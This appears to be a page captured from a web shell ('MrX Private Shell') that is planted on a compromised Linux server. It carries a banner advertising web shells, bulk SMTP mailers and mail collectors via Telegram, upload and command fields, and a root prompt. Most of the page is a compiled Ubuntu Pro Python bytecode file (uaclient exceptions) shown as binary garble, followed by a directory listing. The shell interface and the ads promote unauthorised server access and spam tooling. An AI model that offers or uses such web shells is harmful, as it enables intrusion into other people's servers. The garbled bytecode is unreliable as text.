__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

~C�g�H��<
�SSKJrJrJr SSKJr "SS\5r"SS\5r"SS\5r	"S	S
\5r
"SS\5r"S
S\5r
\
r"SS\
5r"SS\
5r"SS\
5r"SS\
5r"SS\
5r"SS\
5r"SS\
5r"SS\
5r"SS \
5r"S!S"\
5r"S#S$\
5r"S%S&\
5r"S'S(\
5r"S)S*\
5r"S+S,\
5r"S-S.\
5r"S/S0\
5r"S1S2\
5r "S3S4\
5r!"S5S6\
5r""S7S8\
5r#"S9S:\
5r$"S;S<\
5r%"S=S>\
5r&"S?S@\&5r'"SASB\&5r("SCSD\
5r)"SESF\
\5r*\*r+"SGSH\
5r,"SISJ\
5r-"SKSL\
5r."SMSN\
5r/"SOSP\
5r0"SQSR\
5r1"SSST\
5r2"SUSV\
5r3"SWSX\
5r4"SYSZ\
5r5"S[S\\
5r6"S]S^\
5r7"S_S`\
5r8"SaSb\
5r9"ScSd\
5r:"SeSf\
5r;"SgSh\
5r<"SiSj\
5r="SkSl\
5r>"SmSn\
5r?"SoSp\
5r@"SqSr\
5rA"SsSt\
5rB"SuSv\@5rC"SwSx\@5rD"SySz\
5rE"S{S|\
5rF"S}S~\
5rG"SS�\
5rH"S�S�\
5rI"S�S�\
5rJ"S�S�\
5rK"S�S�\
5rL"S�S�\
5rM"S�S�\
5rN"S�S�\
5rO"S�S�\
5rP"S�S�\
5rQ"S�S�\Q5rR"S�S�\
5rS"S�S�\
5rT"S�S�\T5rU"S�S�\T5rV"S�S�\T5rW"S�S�\
5rX"S�S�\
5rY"S�S�\
5rZ"S�S�\
5r["S�S�\
5r\"S�S�\
5r]"S�S�\
5r^"S�S�\
5r_"S�S�\
5r`"S�S�\
5ra"S�S�\
5rb"S�S�\
5rc"S�S�\
5rd"S�S�\
5re"S�S�\
5rf"S�S�\
5rg"S�S�\
5rh"S�S�\
5ri"S�S�\
5rj"S�S�\
5rk"S�S�\
5rl"S�S�\
5rm"S�S�\
5rn"S�S�\
5ro"S�S�\
5rp"S�S�\
5rq"S�S�\
5rr"S�S�\
5rs"S�S�\
5rt"S�S�\
5ru"S�S�\
5rv"S�S�\
5rw"S�S�\
5rx"S�S�\
5ry"S�S�\
5rz"S�S�\
5r{"S�S�\
5r|"S�S�\
5r}"S�S�\
5r~g�)��)�List�Optional�Tuple)�messagesc��\rSrSrSrg)�InPlaceUpgradeNotSupportedError��N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r
��5/usr/lib/python3/dist-packages/uaclient/exceptions.pyrr���rrc��\rSrSrSrg)�IsProLicensePresentError�
r
Nrr
rrrr
rrrc��\rSrSrSrg)�CancelProLicensePolling�r
Nrr
rrrrrrrc��\rSrSrSrg)�DelayProLicensePolling�r
Nrr
rrrrrrrc�P^�\rSrSrS
S\S\\S\S\SS4
U4SjjjrS	rU=r	$)�ProcessExecutionError�N�cmd�	exit_code�stdout�stderr�returnc��>�X0lX@lX lU(d[RRUS9nO[RRXUS9n[TU]!U5 g)N)r )r r!r#)	r"r#r!r�SUBP_INVALID_COMMAND�format�SUBP_COMMAND_FAILED�super�__init__)�selfr r!r"r#�message�	__class__s      �rr*�ProcessExecutionError.__init__s_�������"����3�3�:�:�s�:�C�G��2�2�9�9��V�:��G�	����!r)r!r#r")N�r/)
rr
rr�strr�intr*r�
__classcell__�r-s@rrrsL���$(���"�
�"��C�=�"��	"�
�"�
�
"�"rrc�T�\rSrSrSrSrSrSrS
Sjr\	S5r
\	S5rSrS	r
g)�UbuntuProError�*zi
Base class for all of our custom errors.
All possible exceptions from our API should extend this class.
N�c���URb"URR"S0UD6UlOURUlXlUR5Hup#[
XU5 M g�Nr
)�_formatted_msgr'�	named_msg�_msg�additional_info�items�setattr)r+�kwargs�key�values    rr*�UbuntuProError.__init__5s]�����*�!�0�0�7�7����D�N�"�Y�Y�D�N�%�� �,�,�.�J�C��D�u�%�)rc�.�URR$�N�r;�msg�r+s rrG�UbuntuProError.msgBs���~�~�!�!�!rc�.�URR$rE)r;�namerHs r�msg_code�UbuntuProError.msg_codeFs���~�~�"�"�"rc�.�URR$rErFrHs r�__str__�UbuntuProError.__str__Js���~�~�!�!�!r)r=r;�r$N)rr
rr�__doc__r<r:r!r*�propertyrGrLrOrr
rrr5r5*sJ���
�D��N��I�&��"��"��#��#�"rr5c�H^�\rSrSrSrS\R4U4SjjrSrU=r	$)�AnonymousUbuntuProError�Tz�
For cases where we have a NamedMessage of an Error already but it isn't in
exception form, and we need to raise it as an exception. This generally
should only be used in cli-only code.
r;c�2>�[TU]"S0UD6 Xlgr9)r)r*r;)r+r;r@r-s   �rr*� AnonymousUbuntuProError.__init__[s���
���"�6�"�"�r)r;)
rr
rrrRr�NamedMessager*rr2r3s@rrUrUTs����#�(�"7�"7�#�#rrUc�,�\rSrSr\R
rSrg)�APTProcessConflictError�er
N)rr
rrr�E_APT_PROCESS_CONFLICTr<rr
rrr[r[e�
���*�*�Drr[c�,�\rSrSr\R
rSrg)�APTInvalidRepoError�ir
N)rr
rrr�E_APT_UPDATE_INVALID_URL_CONFIGr:rr
rrr`r`i�
���=�=�Nrr`c�,�\rSrSr\R
rSrg)�APTUpdateProcessConflictError�mr
N)rr
rrr�E_APT_UPDATE_PROCESS_CONFLICTr<rr
rrrerem�
���1�1�Drrec�,�\rSrSr\R
rSrg)�APTUpdateInvalidRepoError�qr
N)rr
rrr�E_APT_UPDATE_INVALID_REPOr:rr
rrrjrjq�
���7�7�Nrrjc�,�\rSrSr\R
rSrg)�APTUpdateFailed�ur
N)rr
rrr�E_APT_UPDATE_FAILEDr:rr
rrrorou�
���1�1�Nrroc�,�\rSrSr\R
rSrg)�APTInstallProcessConflictError�yr
N)rr
rrr�E_APT_INSTALL_PROCESS_CONFLICTr<rr
rrrtrtys
���2�2�Drrtc�,�\rSrSr\R
rSrg)�APTInstallInvalidRepoError�}r
N)rr
rrr�E_APT_INSTALL_INVALID_REPOr:rr
rrrxrx}�
���8�8�Nrrxc�,�\rSrSr\R
rSrg)�APTInvalidCredentials�r
N)rr
rrr�E_APT_INVALID_CREDENTIALSr:rr
rrr}r}�rmrr}c�,�\rSrSr\R
rSrg)�
APTTimeout�r
N)rr
rrr�
E_APT_TIMEOUTr:rr
rrr�r���
���+�+�Nrr�c�,�\rSrSr\R
rSrg)�APTUnexpectedError�r
N)rr
rrr�E_APT_UNEXPECTED_ERRORr:rr
rrr�r���
���4�4�Nrr�c�,�\rSrSr\R
rSrg)�APTCommandTimeout�r
N)rr
rrr�E_APT_COMMAND_TIMEOUTr:rr
rrr�r���
���3�3�Nrr�c�,�\rSrSr\R
rSrg)�SnapNotInstalledError�r
N)rr
rrr�E_SNAP_NOT_INSTALLED_ERRORr:rr
rrr�r��r{rr�c�,�\rSrSr\R
rSrg)�UnexpectedSnapdAPIError�r
N)rr
rrr�E_UNEXPECTED_SNAPD_API_ERRORr:rr
rrr�r���
���:�:�Nrr�c�,�\rSrSr\R
rSrg)�SnapdAPIConnectionRefused�r
N)rr
rrr�E_SNAPD_CONNECTION_REFUSEDr<rr
rrr�r���
���.�.�Drr�c�,�\rSrSr\R
rSrg)�CannotInstallSnapdError�r
N)rr
rrr�E_CANNOT_INSTALL_SNAPDr<rr
rrr�r��r^rr�c�,�\rSrSr\R
rSrg)�ErrorInstallingLivepatch�r
N)rr
rrr�E_ERROR_INSTALLING_LIVEPATCHr:rr
rrr�r��r�rr�c�,�\rSrSr\R
rSrg)�
InvalidUrl�r
N)rr
rrr�
E_INVALID_URLr:rr
rrr�r��r�rr�c�,�\rSrSr\R
rSrg)�ProxyNotWorkingError�r
N)rr
rrr�E_NOT_SETTING_PROXY_NOT_WORKINGr:rr
rrr�r��rcrr�c�,�\rSrSr\R
rSrg)�ProxyInvalidUrl�r
N)rr
rrr�E_NOT_SETTING_PROXY_INVALID_URLr:rr
rrr�r��rcrr�c�,�\rSrSr\R
rSrg)�PycurlRequiredError�r
N)rr
rrr�E_PYCURL_REQUIREDr<rr
rrr�r���
���%�%�Drr�c�,�\rSrSr\R
rSrg)�PycurlError�r
N)rr
rrr�E_PYCURL_ERRORr:rr
rrr�r��s
���,�,�Nrr�c�,�\rSrSr\R
rSrg)�ProxyAuthenticationFailed��r
N)rr
rrr�E_PROXY_AUTH_FAILr<rr
rrr�r��r�rr�c�>�\rSrSr\R
rSrSrSr	Sr
Srg)�ExternalAPIError��Nc�d�SRURURUR5$)Nz{}: [{}], {})r'�code�url�bodyrHs rrO�ExternalAPIError.__str__�s#���$�$�T�Y�Y����$�)�)�D�Drr
)rr
rrr�E_EXTERNAL_API_ERRORr:r�r�r�rOrr
rrr�r��s"���2�2�N��D�
�C��D�Err�c��\rSrSrSrg)�ContractAPIError��r
Nrr
rrr�r��rrr�c��\rSrSrSrg)�SecurityAPIError��r
Nrr
rrr�r��rrr�c�D^�\rSrSr\R
rSU4SjjrSrU=r	$)�PycurlCACertificatesError��c�2>�[TU]"S0UD6 Xlgr9)r)r*r�)r+r�r@r-s   �rr*�"PycurlCACertificatesError.__init__�s���
���"�6�"��r)r�rQ)
rr
rrr�E_PYCURL_CA_CERTIFICATESr<r*rr2r3s@rr�r��s����,�,�D��rr�c�>�\rSrSr\R
rS\S\4Sjr	Sr
g)�ConnectivityError���causer�c���[USS5(a[[US55nO[U5n[RX5 [RXUS9 X0lX lg)N�reason��cause_errorr�)�getattrr0�IOErrorr*r5r�r�)r+r�r�r�s    rr*�ConnectivityError.__init__�s[��
�5�(�D�)�)��g�e�X�6�7�K��e�*�K�����+�����3��G�'���rr�N)rr
rrr�E_CONNECTIVITY_ERRORr:�	Exceptionr0r*rr
rrr�r��s$���2�2�N�����rr�c�,�\rSrSr\R
rSrg)�ContractExpiredError�r
N)rr
rrr�E_CONTRACT_EXPIREDr<rr
rrr�r��s
���&�&�Drr�c�,�\rSrSr\R
rSrg)�InvalidServiceOpErrorir
N�rr
rrr�E_INVALID_SERVICE_OP_FAILUREr:rr
rrr�r�r�rr�c�4�\rSrSrSrSr\RrSr	g)�AlreadyAttachedErrorizDAn exception to be raised when a command needs an unattached system.�r
N)
rr
rrrRr!r�E_ALREADY_ATTACHEDr:rr
rrr�r�s��N��I��0�0�Nrr�c�4�\rSrSrSrSr\RrSr	g)�AttachErroriz@An exception to be raised when we detect a generic attach error.r7r
N)
rr
rrrRr!r�E_ATTACH_FAILUREr<rr
rrr�r�s��J��I��$�$�Drr�c�,�\rSrSr\R
rSrg)�AttachInvalidConfigFileErrorir
N)rr
rrr�E_ATTACH_CONFIG_READ_ERRORr:rr
rrr�r�r{rr�c�,�\rSrSr\R
rSrg)�AttachInvalidTokenErrorir
N)rr
rrr�E_ATTACH_INVALID_TOKENr<rr
rrr�r�r^rr�c�,�\rSrSr\R
rSrg)�AttachForbiddenExpiredir
N)rr
rrr�E_ATTACH_FORBIDDEN_EXPIREDr:rr
rrr�r�r{rr�c�,�\rSrSr\R
rSrg)�AttachForbiddenNotYeti!r
N)rr
rrr�E_ATTACH_FORBIDDEN_NOT_YETr:rr
rrr�r�!r{rr�c�,�\rSrSr\R
rSrg)�AttachForbiddenNeveri%r
N)rr
rrr�E_ATTACH_FORBIDDEN_NEVERr:rr
rrr�r�%�
���6�6�Nrr�c�,�\rSrSr\R
rSrg)�AttachExpiredTokeni)r
N)rr
rrr�E_ATTACH_EXPIRED_TOKENr<rr
rrrr)r^rrc�,�\rSrSr\R
rSrg)� MagicAttachTokenAlreadyActivatedi-r
N)rr
rrr�&E_MAGIC_ATTACH_TOKEN_ALREADY_ACTIVATEDr<rr
rrrr-s
���:�:�Drrc�,�\rSrSr\R
rSrg)�MagicAttachTokenErrori1r
N)rr
rrr�E_MAGIC_ATTACH_TOKEN_ERRORr<rr
rrrr1r�rrc�,�\rSrSr\R
rSrg)�MagicAttachUnavailablei5r
N)rr
rrr�E_MAGIC_ATTACH_UNAVAILABLEr<rr
rrr	r	5r�rr	c�,�\rSrSr\R
rSrg)�MagicAttachInvalidParami9r
N)rr
rrr�E_MAGIC_ATTACH_INVALID_PARAMr:rr
rrrr9r�rrc�0�\rSrSrSr\RrSrg)�MissingAptURLDirectivei=z@An exception for when the contract server doesn't include aptURLr
N)	rr
rrrRr�E_MISSING_APT_URL_DIRECTIVEr:rr
rrrr=s��J��9�9�Nrrc�0�\rSrSrSr\RrSrg)�UnattachedErroriCz>An exception to be raised when a machine needs to be attached.r
N)	rr
rrrRr�E_UNATTACHEDr<rr
rrrrCs��H�� � �Drrc�,�\rSrSr\R
rSrg)�UnattachedValidServicesErroriIr
N)rr
rrr�"E_VALID_SERVICE_FAILURE_UNATTACHEDr:rr
rrrrI�
���@�@�Nrrc�,�\rSrSr\R
rSrg)�UnattachedMixedServicesErroriMr
N)rr
rrr�#E_MIXED_SERVICES_FAILURE_UNATTACHEDr:rr
rrrrM�
���A�A�Nrrc�,�\rSrSr\R
rSrg)�UnattachedInvalidServicesErroriQr
Nr�r
rrrrQr�rrc�,�\rSrSr\R
rSrg)�EntitlementNotFoundErroriUr
N)rr
rrr�E_ENTITLEMENT_NOT_FOUNDr:rr
rrrrU�
���5�5�Nrrc�p^�\rSrSrSr\RrS\\	\
\R44U4SjjrSr
U=r$)�EntitlementsNotEnabledErroriY��failed_servicesc�>�UVs/sH&nUSUSRUSRS.PM( nn[TU]
SU0S9 gs snf)Nrr7)rKr��title�services)r=)rKrGr)r*)r+r%�f�
info_dictsr-s    �rr*�$EntitlementsNotEnabledError.__init__]sa���
%�
�$���q�T�1�Q�4�9�9�q��t�x�x�@�$�	�
�	���'��4�	�	
��	
s�-Ar
)rr
rrr!r� E_ENTITLEMENTS_NOT_ENABLED_ERRORr<rrr0rYr*rr2r3s@rr#r#Ys:����I��4�4�D�	
�#�E�#�x�/D�/D�*D�$E�F�	
�	
rr#c�`^�\rSrSr\R
rS\S\R4U4Sjjr	Sr
U=r$)�EntitlementNotEnabledErrorii�servicer�c�j>�[TU]USURURURS.0S9 g�Nr�)r�r'r=)r/r=�r)r*rKrGr=�r+r/r�r-s   �rr*�#EntitlementNotEnabledError.__init__l�<���
�����"�K�K�#�Z�Z�'-�'=�'=���	�		
rr
)rr
rrr�E_ENTITLEMENT_NOT_ENABLED_ERRORr:r0rYr*rr2r3s@rr.r.is,����=�=�N�

��

�X�-B�-B�

�

rr.c�`^�\rSrSr\R
rS\S\R4U4Sjjr	Sr
U=r$)�EntitlementNotDisabledErroriyr/r�c�j>�[TU]USURURURS.0S9 gr1r2r3s   �rr*�$EntitlementNotDisabledError.__init__|r5rr
)rr
rrr� E_ENTITLEMENT_NOT_DISABLED_ERRORr:r0rYr*rr2r3s@rr8r8ys,����>�>�N�

��

�X�-B�-B�

�

rr8c�,�\rSrSr\R
rSrg)�AttachFailureDefaultServicesi�r
N)rr
rrr�!E_ATTACH_FAILURE_DEFAULT_SERVICESr<rr
rrr=r=�s
���5�5�Drr=c�,�\rSrSr\R
rSrg)�AttachFailureUnknownErrori�r
N)rr
rrr�E_ATTACH_FAILURE_UNEXPECTEDr<rr
rrr@r@��
���/�/�Drr@c�,�\rSrSr\R
rSrg)�AttachFailureRestrictedReleasei�r
N)rr
rrr�!ATTACH_FAILURE_RESTRICTED_RELEASEr:rr
rrrDrD��
���?�?�NrrDc�,�\rSrSr\R
rSrg)�RepoNoAptKeyi�r
N)rr
rrr�E_REPO_NO_APT_KEYr:rr
rrrHrH�s
���/�/�NrrHc�,�\rSrSr\R
rSrg)�RepoNoSuitesi�r
N)rr
rrr�E_REPO_NO_SUITESr:rr
rrrKrK�s
���.�.�NrrKc�,�\rSrSr\R
rSrg)�RepoPinFailNoOrigini�r
N)rr
rrr�E_REPO_PIN_FAIL_NO_ORIGINr:rr
rrrNrN�rmrrNc�,�\rSrSr\R
rSrg)� InvalidContractDeltasServiceTypei�r
N)rr
rrr�&E_INVALID_CONTRACT_DELTAS_SERVICE_TYPEr:rr
rrrQrQ�s
���D�D�NrrQc�,�\rSrSr\R
rSrg)�%EntitlementsAPTDirectivesAreNotUniquei�r
N)rr
rrr�,E_ENTITLEMENTS_APT_DIRECTIVES_ARE_NOT_UNIQUEr:rr
rrrTrT�s
���J�J�NrrTc�,�\rSrSr\R
rSrg)�RequiredServiceStopsEnablei�r
N)rr
rrr�E_REQUIRED_SERVICE_STOPS_ENABLEr:rr
rrrWrW�rcrrWc�,�\rSrSr\R
rSrg)�IncompatibleServiceStopsEnablei�r
N)rr
rrr�#E_INCOMPATIBLE_SERVICE_STOPS_ENABLEr:rr
rrrZrZ�rrrZc�,�\rSrSr\R
rSrg)�DependentServiceStopsDisablei�r
N)rr
rrr�!E_DEPENDENT_SERVICE_STOPS_DISABLEr:rr
rrr]r]�rFrr]c�,�\rSrSr\R
rSrg)�LandscapeConfigFailedi�r
N)rr
rrr�E_LANDSCAPE_CONFIG_FAILEDr<rr
rrr`r`��
���-�-�Drr`c�,�\rSrSr\R
rSrg)�#NonInteractiveKernelPurgeDisallowedi�r
N)rr
rrr�)E_NON_INTERACTIVE_KERNEL_PURGE_DISALLOWEDr<rr
rrrdrd�s
���=�=�Drrdc�0�\rSrSr\R
rSrSrg)�InvalidProImagei�Nr
)	rr
rrr�E_INVALID_PRO_IMAGEr:�	error_msgrr
rrrgrg�s���1�1�N��Irrgc�,�\rSrSr\R
rSrg)�CloudMetadataErrori�r
N)rr
rrr�E_CLOUD_METADATA_ERRORr:rr
rrrkrk�r�rrkc�0�\rSrSrSr\RrSrg)�GCPServiceAccountErrori�z;An exception raised when GCP service account is not enabledr
N)	rr
rrrRr�$E_GCP_SERVICE_ACCT_NOT_ENABLED_ERRORr:rr
rrrnrn�s��E��B�B�Nrrnc�,�\rSrSr\R
rSrg)�AWSNoValidIMDSi�r
N)rr
rrr�E_AWS_NO_VALID_IMDSr:rr
rrrqrq�rrrrqc��\rSrSrSrg)�CloudFactoryErrori�r
Nrr
rrrtrt�rrrtc�,�\rSrSr\R
rSrg)�CloudFactoryNoCloudErrori�r
N)rr
rrr� E_UNABLE_TO_DETERMINE_CLOUD_TYPEr<rr
rrrvrv��
���4�4�Drrvc�,�\rSrSr\R
rSrg)�CloudFactoryNonViableCloudErrori�r
N)rr
rrr�E_UNSUPPORTED_AUTO_ATTACHr<rr
rrrzrz�rbrrzc�4�\rSrSrSrSr\RrSr	g)�NonAutoAttachImageErrori�z>Raised when machine isn't running an auto-attach enabled imagerr
N)
rr
rrrRr!r�$E_UNSUPPORTED_AUTO_ATTACH_CLOUD_TYPEr:rr
rrr}r}�s��H��I��B�B�Nrr}c�,�\rSrSr\R
rSrg)�LXDAutoAttachNotAvailablei�r
N)rr
rrr�E_LXD_AUTO_ATTACH_NOT_AVAILABLEr<rr
rrr�r��s
���3�3�Drr�c�,�\rSrSr\R
rSrg)�LXDAutoAttachNotAllowedi�r
N)rr
rrr�E_LXD_AUTO_ATTACH_NOT_ALLOWEDr<rr
rrr�r��rhrr�c�,�\rSrSr\R
rSrg)�InvalidFileFormatErrori�r
N)rr
rrr�E_INVALID_FILE_FORMATr:rr
rrr�r��r�rr�c�,�\rSrSr\R
rSrg)�InvalidFileEncodingErrori�r
N)rr
rrr�E_INVALID_FILE_ENCODINGr:rr
rrr�r��r!rr�c�,�\rSrSr\R
rSrg)�ParsingErrorOnOSReleaseFilei�r
N)rr
rrr�"E_ERROR_PARSING_VERSION_OS_RELEASEr:rr
rrr�r��rrr�c�,�\rSrSr\R
rSrg)�MissingSeriesOnOSReleaseFileir
N)rr
rrr�E_MISSING_SERIES_ON_OS_RELEASEr:rr
rrr�r��
���<�<�Nrr�c�,�\rSrSr\R
rSrg)�InvalidLockFileir
N)rr
rrr�E_INVALID_LOCK_FILEr:rr
rrr�r�rrrr�c�,�\rSrSr\R
rSrg)�InvalidJsoni	r
N)rr
rrr�E_JSON_PARSER_ERRORr:rr
rrr�r�	rrrr�c�,�\rSrSr\R
rSrg)�InvalidBooleanConfigValuei
r
N)rr
rrr�E_INVALID_BOOLEAN_CONFIG_VALUEr:rr
rrr�r�
r�rr�c�,�\rSrSr\R
rSrg)�InvalidPosIntConfigValueir
N)rr
rrr�"E_CLI_CONFIG_VALUE_MUST_BE_POS_INTr:rr
rrr�r�rrr�c�,�\rSrSr\R
rSrg)�InvalidURLConfigValueir
N)rr
rrr�E_CONFIG_INVALID_URLr:rr
rrr�r�s
���2�2�Nrr�c�,�\rSrSr\R
rSrg)�InvalidFeatureYamlConfigValueir
N)rr
rrr�E_CONFIG_NO_YAML_FILEr:rr
rrr�r�r�rr�c�,�\rSrSr\R
rSrg)�InvalidProxyCombinationConfigir
N)rr
rrr�E_INVALID_PROXY_COMBINATIONr<rr
rrr�r�rBrr�c�,�\rSrSr\R
rSrg)�MissingDistroInfoFilei!r
N)rr
rrr�E_MISSING_DISTRO_INFO_FILEr<rr
rrr�r�!r�rr�c�,�\rSrSr\R
rSrg)�MissingSeriesInDistroInfoFilei%r
N)rr
rrr�$E_MISSING_SERIES_IN_DISTRO_INFO_FILEr:rr
rrr�r�%s
���B�B�Nrr�c�,�\rSrSr\R
rSrg)�UnsupportedManifestFilei)r
N)rr
rrr�E_UNSUPPORTED_MANIFEST_FILEr:rr
rrr�r�)s
���9�9�Nrr�c�,�\rSrSr\R
rSrg)�InvalidOptionCombinationi2r
N)rr
rrr�E_INVALID_OPTION_COMBINATIONr:rr
rrr�r�2r�rr�c�,�\rSrSr\R
rSrg)�DepedentOptionErrori6r
N)rr
rrr�E_DEPENDENT_OPTIONr:rr
rrr�r�6s
���0�0�Nrr�c�,�\rSrSr\R
rSrg)�
NoHelpContenti:r
N)rr
rrr�
E_CLI_NO_HELPr:rr
rrr�r�:r�rr�c�,�\rSrSr\R
rSrg)�InvalidSecurityIssueIdFormati>r
N)rr
rrr�#E_SECURITY_FIX_CLI_ISSUE_REGEX_FAILr:rr
rrr�r�>rrr�c�,�\rSrSr\R
rSrg)�InvalidArgChoiceiBr
N)rr
rrr�E_CLI_VALID_CHOICESr:rr
rrr�r�Brrrr�c�,�\rSrSr\R
rSrg)�EmptyConfigValueiFr
N)rr
rrr�E_CLI_EMPTY_CONFIG_VALUEr:rr
rrr�r�Fr�rr�c�,�\rSrSr\R
rSrg)�GenericInvalidFormatiJr
N)rr
rrr�E_CLI_EXPECTED_FORMATr:rr
rrr�r�Jr�rr�c�,�\rSrSr\R
rSrg)�RefreshConfigFailureiNr
N)rr
rrr�E_REFRESH_CONFIG_FAILUREr<rr
rrr�r�Ns
���,�,�Drr�c�,�\rSrSr\R
rSrg)�RefreshContractFailureiRr
N)rr
rrr�E_REFRESH_CONTRACT_FAILUREr<rr
rrr�r�Rr�rr�c�,�\rSrSr\R
rSrg)�RefreshMessagesFailureiVr
N)rr
rrr�E_REFRESH_MESSAGES_FAILUREr<rr
rrr�r�Vr�rr�c�,�\rSrSr\R
rSrg)�CLIJSONFormatRequireAssumeYesiZr
N)rr
rrr� E_JSON_FORMAT_REQUIRE_ASSUME_YESr<rr
rrr�r�Zrxrr�c�,�\rSrSr\R
rSrg)�CLIAttachTokenArgXORConfigi^r
N)rr
rrr�E_ATTACH_TOKEN_ARG_XOR_CONFIGr<rr
rrr�r�^rhrr�c�,�\rSrSr\R
rSrg)�CLIAPIOptionsXORDataibr
N)rr
rrr�"E_API_ERROR_ARGS_AND_DATA_TOGETHERr<rr
rrr�r�bs
���6�6�Drr�c�,�\rSrSr\R
rSrg)�PromptDeniedErrorifr
N)rr
rrr�E_PROMPT_DENIEDr<rr
rrr�r�fs
���#�#�Drr�c�,�\rSrSr\R
rSrg)�ManifestParseErrorior
N)rr
rrr�E_MANIFEST_PARSE_ERRORr:rr
rrr�r�or�rr�c�4�\rSrSrSr\RrSrSr	g)�
LockHeldErrorixz�An exception for when another pro operation is in progress

:param lock_request: String of the command requesting the lock
:param lock_holder: String of the command that currently holds the lock
:param pid: Integer of the process id of the lock_holder
Nr
)
rr
rrrRr�E_LOCK_HELD_ERRORr:�pidrr
rrr�r�xs����/�/�N�
�Crr�c�0�\rSrSrSr\RrSrg)�NonRootUserErrori�z7An exception to be raised when a user needs to be root.r
N)	rr
rrrRr�E_NONROOT_USERr<rr
rrr�r��s��A��"�"�Drr�c�0�\rSrSrSr\RrSrg)�SecurityAPIMetadataErrori�zDAn exception raised with Security API metadata returns invalid data.r
N)	rr
rrrRr�E_SECURITY_API_INVALID_METADATAr:rr
rrr�r��s��N��=�=�Nrr�c�,�\rSrSr\R
rSrg)�SecurityIssueNotFoundi�r
N)rr
rrr�E_SECURITY_FIX_NOT_FOUND_ISSUEr:rr
rrr�r��r�rr�c�,�\rSrSr\R
rSrg)�GPGKeyNotFoundi�r
N)rr
rrr�E_GPG_KEY_NOT_FOUNDr:rr
rrr�r��rrrr�c�,�\rSrSr\R
rSrg)�UnknownProcessorTypei�r
N)rr
rrr�E_UNKNOWN_PROCESSOR_TYPEr:rr
rrr�r��r�rr�c�,�\rSrSr\R
rSrg)� FeatureNotSupportedOldTokenErrori�r
N)rr
rrr�!E_FEATURE_NOT_SUPPORTED_OLD_TOKENr:rr
rrr�r��rFrr�c�,�\rSrSr\R
rSrg)�
ETagUnchangedi�r
N)rr
rrr�E_ETAG_UNCHANGED�_formatted_msg_rr
rrr�r��s
���/�/�Orr�N)�typingrrr�uaclientrr�rrrrr�rr5�UserFacingErrorrUr[r`rerjrortrxr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��UrlErrorr�r�r�r�r�r�r�r�r�rrrr	rrrrrrrr#r.r8r=r@rDrHrKrNrQrTrWrZr]r`rdrgrkrnrqrtrvrzr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
rr�<module>r�s���(�(��	�i�	�	�y�	�	�6�	�	�5�	�"�G�"�(!"�Y�!"�N!��	#�n�	#�"+�n�+�>�.�>�2�N�2�8��8�2�n�2�3�^�3�9��9�8�N�8�,��,�5��5�4��4�9�N�9�;�n�;�/��/�+�n�+�;�~�;�,��,�>�>�>�>�n�>�&�.�&�-�.�-�&��&�E�~�E�	�'�	�	�'�	��������.��'�>�'�;�N�;�1�>�1�%�.�%�9�>�9�+�n�+�9�^�9�9�N�9�7�>�7�+��+�;�~�;�/�N�/�/�^�/�;�n�;�:�^�:�!�n�!�A�>�A�B�>�B�;�^�;�6�~�6�

�.�

� 

��

� 

�.�

� 6�#>�6�0� ;�0�@�^�@�0�>�0�/�>�/�8�.�8�E�~�E�K�N�K�>��>�B�^�B�@�>�@�.�N�.�>�.�>��n��
5��5�C�/�C�2�^�2�	��	�5�0�5�.�&7�.�C�/�C�4��4�2�n�2�4�^�4�6�~�6�A�.�A�=�>�=�2�n�2�2�.�2�=��=�A�~�A�3�N�3�4�N�4�0�N�0�/�N�/�C�N�C�:�n�:�;�~�;�1�.�1�,�N�,�B�>�B�2�~�2�7�~�7�4�>�4�-�>�-�/�^�/�/�^�/�5�N�5�2��2�7�>�7�$��$�5��5�	�N�	�#�~�#�>�~�>�=�N�=�2�^�2�7�>�7�@�~�@�0�N�0r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager